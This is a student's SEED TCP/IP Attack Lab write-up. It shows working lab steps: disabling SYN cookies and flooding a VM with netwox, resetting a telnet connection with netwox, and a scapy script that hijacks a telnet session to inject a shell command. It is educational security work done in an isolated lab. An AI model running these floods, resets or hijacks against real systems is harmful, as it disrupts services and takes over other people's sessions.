SEED LAB4

57117111 蒋涛

TCP/IP Attack Lab

Task1: SYN Flooding Attack

- Turn off the SYN cookie mechanism

```
[09/12/20]seed@VM:~$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.ens33.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
[09/12/20]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
[09/12/20]seed@VM:~$ sudo sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 0
```

- Launch the SYN flooding attack and compare the result before and after the attack using `netstat -na`

```
[09/12/20]seed@VM:~$ sudo netwox 76 -i 192.168.210.133 -p 80
```

```
[09/12/20]seed@VM:~/Desktop$ diff a.txt b.txt
7d6
< tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN
15d13
< tcp6       0      0 ::1:631                 :::*                    LISTEN
17a16,112
> tcp6       0      0 192.168.210.133:80      240.125.112.152:10164   SYN_RECV
> tcp6       0      0 192.168.210.133:80      249.16.245.171:33449    SYN_RECV
> tcp6       0      0 192.168.210.133:80      250.110.103.214:47933   SYN_RECV
> tcp6       0      0 192.168.210.133:80      248.198.248.41:36252    SYN_RECV
> tcp6       0      0 192.168.210.133:80      252.18.102.74:30613     SYN_RECV
> tcp6       0      0 192.168.210.133:80      247.241.34.179:36870    SYN_RECV
> tcp6       0      0 192.168.210.133:80      253.45.248.143:14883    SYN_RECV
> tcp6       0      0 192.168.210.133:80      244.128.103.82:60401    SYN_RECV
> tcp6       0      0 192.168.210.133:80      255.199.124.161:15056   SYN_RECV
> tcp6       0      0 192.168.210.133:80      252.59.173.21:49276     SYN_RECV
> tcp6       0      0 192.168.210.133:80      254.116.111.34:9796     SYN_RECV
> tcp6       0      0 192.168.210.133:80      248.248.69.48:5408      SYN_RECV
> tcp6       0      0 192.168.210.133:80      244.233.215.102:30783   SYN_RECV
> tcp6       0      0 192.168.210.133:80      249.4.66.55:58772       SYN_RECV
> tcp6       0      0 192.168.210.133:80      250.114.254.237:53484   SYN_RECV
> tcp6       0      0 192.168.210.133:80      243.54.157.120:58688    SYN_RECV
> tcp6       0      0 192.168.210.133:80      249.212.240.108:20684   SYN_RECV
> tcp6       0      0 192.168.210.133:80      253.148.119.26:25666    SYN_RECV
> tcp6       0      0 192.168.210.133:80      242.19.48.157:64381     SYN_RECV
> tcp6       0      0 192.168.210.133:80      254.12.109.127:57300    SYN_RECV
> tcp6       0      0 192.168.210.133:80      247.83.94.150:39378     SYN_RECV
> tcp6       0      0 192.168.210.133:80      251.185.117.72:24598    SYN_RECV
> tcp6       0      0 192.168.210.133:80      241.11.121.177:52389    SYN_RECV
> tcp6       0      0 192.168.210.133:80      254.116.226.195:47741   SYN_RECV
> tcp6       0      0 192.168.210.133:80      246.142.175.33:15540    SYN_RECV
> tcp6       0      0 192.168.210.133:80      251.185.176.254:26438   SYN_RECV
> tcp6       0      0 192.168.210.133:80      254.15.11.230:35560     SYN_RECV
> tcp6       0      0 192.168.210.133:80      252.244.235.178:10378   SYN_RECV
```

The victim's queue is flooded with lots of half-opened TCP

connections.

Task2: TCP RST Attacks on `telnet` and `ssh` Connections

- Attack on `telnet` connection

```
[09/12/20]seed@VM:~$ sudo netwox 78
```

```
[09/12/20]seed@VM:~$ telnet 192.168.210.133
Trying 192.168.210.133...
Connected to 192.168.210.133.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

1 package can be updated.
0 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

[09/12/20]seed@VM:~$ ]Connection closed by foreign host.
```

Task4: TCP Session Hijacking

- View the `seq` and `ack`

```
15:07:07.527722 IP b271066537f4.telnet > 172.17.0.4.60644: Flags [P.], seq 8:107, ack 5, win 509, options [nop,nop,T
S val 3279605002 ecr 2008292957], length 99
15:07:07.527797 IP 172.17.0.4.60644 > b271066537f4.telnet: Flags [.], ack 107, win 501, options [nop,nop,TS val 2008
292959 ecr 3279605002], length 0
15:07:07.527953 IP b271066537f4.telnet > 172.17.0.4.60644: Flags [P.], seq 107:153, ack 5, win 509, options [nop,nop
,TS val 3279605002 ecr 2008292959], length 46
15:07:07.528022 IP 172.17.0.4.60644 > b271066537f4.telnet: Flags [.], ack 153, win 501, options [nop,nop,TS val 2008
292959 ecr 3279605002], length 0
```

`port` of host C is 60644, next `seq` of host B is 153, next `seq` of host C is 5

- Construct file `hijack.py` and run the program

```
#! /usr/bin/python3
from scapy.all import *

ip = IP(src="172.17.0.4", dst="172.17.0.3")
tcp = TCP(sport=60644, dport=23, flags="PA", seq=5, ack=153)
payload = "touch hijack"

pkt = ip/tcp/payload
ls(pkt)
send(pkt, verbose=0)
```

```
jt_ubuntu@jt-ubuntu:~$ ls
examples.desktop  hijack
```